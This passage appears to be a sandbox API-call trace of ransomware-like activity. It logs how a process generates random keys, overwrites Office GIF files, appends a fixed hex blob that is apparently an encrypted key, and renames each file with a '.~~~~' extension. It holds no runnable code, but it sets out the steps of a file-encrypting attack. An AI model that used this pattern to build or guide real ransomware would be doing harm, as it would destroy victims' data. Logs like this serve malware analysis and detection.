	[0132.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3991d0 | out: hHeap=0x300000) returned 1
	[0132.182] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.182] GetLastError () returned 0x0
	[0132.183] GetLastError () returned 0x0
	[0132.183] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.183] GetLastError () returned 0x0
	[0132.183] GetLastError () returned 0x0
	[0132.184] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.184] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x6a, lpOverlapped=0x0) returned 1
	[0132.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.186] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.186] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.186] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.186] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.186] CloseHandle (hObject=0x140) returned 1
	[0132.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
	[0132.187] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif.~~~~")) returned 1
	[0132.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0132.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.188] GetLastError () returned 0x0
	[0132.189] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a13f0) returned 1
	[0132.190] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0132.190] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0132.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.190] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25218008061) returned 1
	[0132.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb83ca430, dwHighDateTime=0x1d60e1e)) 
	[0132.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823b80
	[0132.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823b80 | out: hHeap=0x300000) returned 1
	[0132.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38efb8
	[0132.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38efb8 | out: hHeap=0x300000) returned 1
	[0132.191] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.191] GetLastError () returned 0x0
	[0132.191] GetLastError () returned 0x0
	[0132.191] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.191] GetLastError () returned 0x0
	[0132.191] GetLastError () returned 0x0
	[0132.194] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffde5a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.194] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x21a6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x21a6, lpOverlapped=0x0) returned 1
	[0132.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.196] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.196] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.196] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.196] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.196] CloseHandle (hObject=0x140) returned 1
	[0132.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0132.197] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif.~~~~")) returned 1
	[0132.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0132.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.198] GetLastError () returned 0x0
	[0132.198] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a13f0) returned 1
	[0132.199] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0132.199] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0132.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.199] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25218932909) returned 1
	[0132.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb83ca430, dwHighDateTime=0x1d60e1e)) 
	[0132.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823bb8
	[0132.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823bb8 | out: hHeap=0x300000) returned 1
	[0132.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38efb8
	[0132.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38efb8 | out: hHeap=0x300000) returned 1
	[0132.200] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.200] GetLastError () returned 0x0
	[0132.200] GetLastError () returned 0x0
	[0132.200] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.200] GetLastError () returned 0x0
	[0132.200] GetLastError () returned 0x0
	[0132.202] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffc2a9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.202] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x3d57, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x3d57, lpOverlapped=0x0) returned 1
	[0132.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.204] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.204] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.204] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.205] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.205] CloseHandle (hObject=0x140) returned 1
	[0132.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x398078
	[0132.205] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_OliveGreen.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_olivegreen.gif.~~~~")) returned 1
	[0132.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398078 | out: hHeap=0x300000) returned 1
	[0132.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.206] GetLastError () returned 0x0
	[0132.207] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a13f0) returned 1
	[0132.208] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0132.208] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.208] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25219796486) returned 1
	[0132.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb83f0590, dwHighDateTime=0x1d60e1e)) 
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823bf0
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823bf0 | out: hHeap=0x300000) returned 1
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3989f0
	[0132.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3989f0 | out: hHeap=0x300000) returned 1
	[0132.209] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.209] GetLastError () returned 0x0
	[0132.209] GetLastError () returned 0x0
	[0132.209] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.209] GetLastError () returned 0x0
	[0132.209] GetLastError () returned 0x0
	[0132.211] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe7bb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.211] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1845, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x1845, lpOverlapped=0x0) returned 1
	[0132.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.214] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.214] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.214] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.214] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.214] CloseHandle (hObject=0x140) returned 1
	[0132.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
	[0132.215] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Premium.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_premium.gif.~~~~")) returned 1
	[0132.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0132.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.216] GetLastError () returned 0x0
	[0132.217] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0132.273] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.273] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0132.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0132.273] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25226327444) returned 1
	[0132.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb8488b10, dwHighDateTime=0x1d60e1e)) 
	[0132.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0132.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0132.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357320
	[0132.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823c28
	[0132.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823c28 | out: hHeap=0x300000) returned 1
	[0132.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398f30
	[0132.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398f30 | out: hHeap=0x300000) returned 1
	[0132.274] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0132.274] GetLastError () returned 0x0
	[0132.274] GetLastError () returned 0x0
	[0132.274] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0132.274] GetLastError () returned 0x0
	[0132.274] GetLastError () returned 0x0
	[0132.347] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffaebf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.348] WriteFile (in: hFile=0x140, lpBuffer=0x2a7b0c8*, nNumberOfBytesToWrite=0x5141, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a7b0c8*, lpNumberOfBytesWritten=0x24dfec0*=0x5141, lpOverlapped=0x0) returned 1
	[0132.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a7b0c8 | out: hHeap=0x300000) returned 1
	[0132.350] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.350] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.350] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.350] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.350] CloseHandle (hObject=0x140) returned 1
	[0132.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x397fc0
	[0132.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_SlateBlue.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_slateblue.gif.~~~~")) returned 1
	[0132.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x397fc0 | out: hHeap=0x300000) returned 1
	[0132.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357320 | out: hHeap=0x300000) returned 1
	[0132.352] GetLastError () returned 0x0
	[0132.527] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1258) returned 1
	[0132.529] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.529] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0132.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0132.529] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25251960795) returned 1
	[0132.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb86ea110, dwHighDateTime=0x1d60e1e)) 
	[0132.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0132.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0132.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0132.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809418
